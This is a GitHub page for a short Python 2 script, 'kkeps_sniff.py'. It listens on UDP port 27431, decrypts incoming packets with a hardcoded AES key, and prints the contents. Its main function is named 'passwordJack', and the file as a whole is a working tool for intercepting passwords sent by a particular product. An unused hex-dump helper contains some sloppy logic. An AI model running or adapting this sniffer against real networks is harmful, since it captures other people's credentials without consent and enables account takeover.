-
Notifications
You must be signed in to change notification settings - Fork 10
/
kkeps_sniff.py
executable file
·60 lines (54 loc) · 1.8 KB
/
kkeps_sniff.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python
import os, re, socket, IPython, time, select
from Crypto.Cipher import AES
from IPython import embed;
from socket import *
KEY = "fdsl;mewrjope456fds4fbvfnjwaugfo"
def stdout (t, m):
if (t is "+"):
print "\x1b[32;1m[+]\x1b[0m\t" + m + "\n",
elif (t is "-"):
print "\x1b[31;1m[-]\x1b[0m\t" + m + "\n",
elif (t is "*"):
print "\x1b[34;1m[*]\x1b[0m\t" + m + "\n",
elif (t is "!"):
print "\x1b[33;1m[!]\x1b[0m\t" + m + "\n",
def sanitizeByte (byte):
if byte == '0x0':
return '0'
elif 30 > ord(byte) or ord(byte) > 128:
return '.'
elif 30 < ord(byte) or ord(byte) < 128:
return byte
def createDump (data):
dump, by, hx, temp = '', [], [], ''
unprint = list(data)
for el in unprint:
hx.append(el.encode("hex"))
by.append(sanitizeByte(el))
i = 0
while i < len(hx):
if (len(hx) - i ) >= 16:
dump += ' '.join(hx[i:i+16])
dump += " "
dump += ' '.join(by[i:i+16])
dump += "\n"
i = i + 16
else:
dump += ' '.join(hx[i:(len(hx) - 1)])
pad = len(' '.join(hx[i:(len(hx) - 1)]))
dump += ' ' * (56 - pad)
dump += ' '.join(by[i:(len(hx) - 1)])
dump += "\n"
i = i + len(hx)
return dump
def passwordJack():
key = AES.new(KEY, AES.MODE_ECB, )
s = socket(AF_INET, SOCK_DGRAM)
s.bind(('', 27431))
s.setblocking(0)
while True:
ret = select.select([s],[],[])
m = ret[0][0].recv(1024)
stdout("+","\n" + key.decrypt(m))
passwordJack()